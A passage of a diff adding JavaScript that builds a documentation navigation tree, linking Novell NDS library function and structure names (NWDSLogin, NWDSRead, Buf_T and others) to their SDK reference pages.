+ var navElement = navigationLink("NWDSListAttrsEffectiveRights ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2117.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSListByClassAndName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2126.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSListContainableClasses ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2135.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSListContainers ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2144.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSListPartitions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2153.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSListPartitionsExtInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2162.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSLogin ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2171.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSLoginAsServer ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2180.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSLogout ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2187.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSMapIDToName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2196.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSMapNameToID ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2205.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSModifyClassDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2214.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSModifyDN ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2223.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSModifyObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2232.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSModifyRDN ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2241.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSMoveObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2250.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSMutateObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a37nkf6.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSOpenConnToNDSServer ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2259.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSOpenMonitoredConn ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2268.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSOpenStream ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2277.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPartitionReceiveAllUpdates ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2285.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPartitionSendAllUpdates ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2294.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutAttrName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2303.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutAttrNameAndVal ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2312.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutAttrVal ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2321.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutChange ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2330.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutChangeAndVal ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2339.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutClassItem ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2348.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutClassName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2357.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutFilter ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2364.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutSyntaxName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2373.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRead ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2380.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadAttrDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2389.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadClassDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2398.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadNDSInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2407.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadObjectDSIInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2416.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadObjectInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2425.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadReferences ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2434.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadSyntaxDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2443.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadSyntaxes ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2451.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReloadDS ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2459.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemoveAllTypes ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2467.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemoveAttrDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2475.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemoveClassDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2484.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemoveObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2493.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemovePartition ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2501.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemoveReplica ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2510.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemSecurityEquiv ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2519.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRepairTimeStamps ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2528.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReplaceAttrNameAbbrev ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2536.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSResolveName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2544.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRestoreObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2553.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReturnBlockOfAvailableTrees ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2562.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSScanConnsForTrees ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2573.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSScanForAvailableTrees ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2582.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSearch ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2591.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSetContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2600.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSetCurrentUser ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2609.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSetDefNameContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2615.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSetMonitoredConnection ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2624.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSplitPartition ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2633.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSyncPartition ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2642.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSyncReplicaToServer ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2651.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSyncSchema ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2660.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSUnlockConnection ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2669.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSVerifyObjectPassword ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2678.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSWhoAmI ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2687.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWGetDefaultNameContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2695.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWGetFileServerUTCTime ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2704.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWGetNumConnections ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2712.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWGetNWNetVersion ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2720.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWGetPreferredConnName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2727.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWIsDSAuthenticated ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2736.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWIsDSServer ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2743.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWNetInit ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2750.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWNetTerm ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2759.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWSetDefaultNameContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2767.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWSetPreferredDSTree ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2776.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Structures ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hqp7vveq.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Asn1ID_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2785.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Attr_Info_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2790.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Back_Link_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2795.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bit_String_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2800.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Buf_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2805.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("CI_List_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2810.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Class_Info_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2815.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("EMail_Address_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2820.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Fax_Number_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2826.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Filter_Cursor_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2831.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Filter_Node_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2836.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Hold_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2841.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSOSVersion_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2846.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSStatsInfo_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2850.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Net_Address_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2855.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDS_TimeStamp_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2860.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object_ACL_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2865.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object_Info_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2870.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Octet_List_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2875.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Octet_String_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2880.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Path_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2885.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica_Pointer_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2890.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Syntax_Info_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2895.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("TimeStamp_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2900.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Typed_Name_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2906.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unknown_Attr_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2911.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hmmmal7s.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Attribute Constraint Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hudjk3k4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Attribute Value Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h6anqw6h.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Buffer Operation Types and Related Functions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h8bn0lfm.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Class Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hpj620k3.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Change Types for Modifying Objects ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hc4p686b.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Context Keys and Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h1btx3en.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Default Context Key Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hlkcqs3t.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DCK_FLAGS Bit Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/he1wcp92.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
